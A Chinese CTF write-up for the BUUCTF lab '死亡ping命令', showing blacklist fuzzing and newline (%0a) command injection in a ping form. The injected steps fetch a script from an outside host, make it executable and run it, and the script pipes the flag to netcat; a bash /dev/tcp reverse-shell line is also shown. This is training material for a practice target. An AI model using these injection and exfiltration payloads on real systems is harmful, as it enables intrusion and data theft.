《从0到1:CTFer成长之路》书籍配套题目-[第二章 web进阶]死亡ping命令

[第二章 web进阶]死亡ping命令

  • 准备工作
  • 开始做题
    • <1>.编写1.sh,内容如下:
    • <2>.请求bash文件到tmp目录
    • <3>.给bash加权限
    • <4>.进行监听8080端口
    • <5>.执行bash文件

介绍:记录一下笔记,方便以后迅速回忆使用。

《从0到1:CTFer成长之路》书籍配套题目,来源网站:《从0到1:CTFer成长之路》

准备工作

  • 首先在BUUCTF/Basic/Linux Labs开一个靶机
    《从0到1:CTFer成长之路》书籍配套题目-[第二章 web进阶]死亡ping命令_第1张图片

  • 使用ssh命令连接

ssh -p 28412 root@node3.buuoj.cn
node3.buuoj.cn:28412
C:\WINDOWS\system32>ssh -p 28412 root@node3.buuoj.cn
root@node3.buuoj.cn's password:
Last login: Fri Feb 26 02:26:13 2021 from 172.16.128.14
  • 其实这也是道题,也是有flag,好吧,先不管这个
root@eef94e4eb444:/# cd ..
root@eef94e4eb444:/# sl
-bash: sl: command not found
root@eef94e4eb444:/# ls
bd_build  boot  etc       get-pip.py  lib    media  opt   root  sbin  sys  usr
bin       dev   flag.txt  home        lib64  mnt    proc  run   srv   tmp  var
root@eef94e4eb444:/# cat flag.txt
flag{
     a22846a4-5a80-4578-8a3c-22cd4e772e28}
root@eef94e4eb444:/#
  • 查看本机公网IP
root@ea1f42b1ee35:/# curl cip.cc
IP      : 111.73.45.68
地址    : 中国  江西  上饶
运营商  : 电信

数据二  : 江西省上饶市 | 电信

数据三  : 中国江西上饶 | 电信

URL     : http://www.cip.cc/111.73.45.68

开始做题

  • 存在一些黑名单过滤的,被拦截时候显示IP包含恶意字符,那我们先把这些字符找出来,这样后面就能更顺利。
    《从0到1:CTFer成长之路》书籍配套题目-[第二章 web进阶]死亡ping命令_第2张图片

  • 一开始我的BurpSuite有中文乱码问题,先在这里修改一下,
    快速解决BurpSuite中文乱码问题.

  • 或者更简单的方法就是就三种反馈结果,除去另外两个就是我们要,

Result:
IP Ping 成功.
IP Ping 失败.
IP包含恶意字符.

《从0到1:CTFer成长之路》书籍配套题目-[第二章 web进阶]死亡ping命令_第3张图片

  • (及利用fuzz的方式)所以知道能够知道过滤了以下字符:
["$", "{", "}", "`", ";", "&", "|", "(", ")", "\"", "'", "~", "!", "@", "#", "%", "^", "*", "[", "]", "\\", ":", "-", "_"];
  • 通过%0a能够注入新的一条命令进行执行。
ip=127.0.0.1%0als

《从0到1:CTFer成长之路》书籍配套题目-[第二章 web进阶]死亡ping命令_第4张图片

  • 由于docker是没有bash、python程序的,并且sh反弹是不行的。
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
  • 目前是能通过折中的方式执行任意命令

<1>.编写1.sh,内容如下:

ls
cat /FLAG | nc your_buu_ip 8089
  • 详细操作过程
root@eef94e4eb444:/# ls
root@ea1f42b1ee35:~# cd ../
root@ea1f42b1ee35:/# ls
bd_build  boot  etc       get-pip.py  lib    media  opt   root  sbin  sys  usr
bin       dev   flag.txt  home        lib64  mnt    proc  run   srv   tmp  var
root@ea1f42b1ee35:/# vim 1.sh
root@ea1f42b1ee35:/# cat 1.sh
ls
cat /FLAG | nc 111.73.45.68 8089

<2>.请求bash文件到tmp目录

127.0.0.1%0acurl your_buu_ip/1.sh > /tmp/1.sh   #请求bash文件到tmp目录
127.0.0.1%0acurl 111.73.45.68/1.sh > /tmp/1.sh 

《从0到1:CTFer成长之路》书籍配套题目-[第二章 web进阶]死亡ping命令_第5张图片

<3>.给bash加权限

127.0.0.1%0achmod 777 /tmp/1.sh

<4>.进行监听8080端口

  • 172.16.128.14的机器上进行监听8080端口
nc -lvp 8089  #your_buu_ip的机器上进行监听8089端口

<5>.执行bash文件

127.0.0.1%0ash /tmp/1.sh #执行bash文件
  • 但我试过8080,8089.都没有flag回显,后续原因我再看看,

  • 但官方流程就是这样

  • 本文参考
    BUUCTF–[第二章 web进阶]死亡ping命令

  • 官方Wp:


wp

通过可以发现是存在一些黑名单过滤的,被拦截时候显示IP包含恶意字符。

利用fuzz的方式能够知道过滤了以下字符:

["$", "{", "}", "`", ";", "&", "|", "(", ")", "\"", "'", "~", "!", "@", "#", "%", "^", "*", "[", "]", "\\", ":", "-", "_"];

通过%0a能够注入新的一条命令进行执行。

POST /ping.php HTTP/1.1
Host: testabc.com:53340
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

ip=127.0.0.1%0awhoami>/tmp/aaaaa

由于docker是没有bash、python程序的,并且sh反弹是不行的。

bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

目前是能通过折中的方式执行任意命令

请求bash文件到tmp目录
127.0.0.1%0acurl 172.16.128.14/1.sh > /tmp/1.sh

给bash加权限
127.0.0.1%0achmod 777 /tmp/1.sh

10.211.55.2的机器上进行监听8080端口
nc -l 8080

执行bash文件
127.0.0.1%0ash /tmp/1.sh

1.sh内容为
ls
cat /FLAG | nc 10.211.55.2 8080

BUUCTF-Basic-Linux Labs

你可能感兴趣的:(《从0到1:CTFer成长之路》书籍配套题目-[第二章 web进阶]死亡ping命令)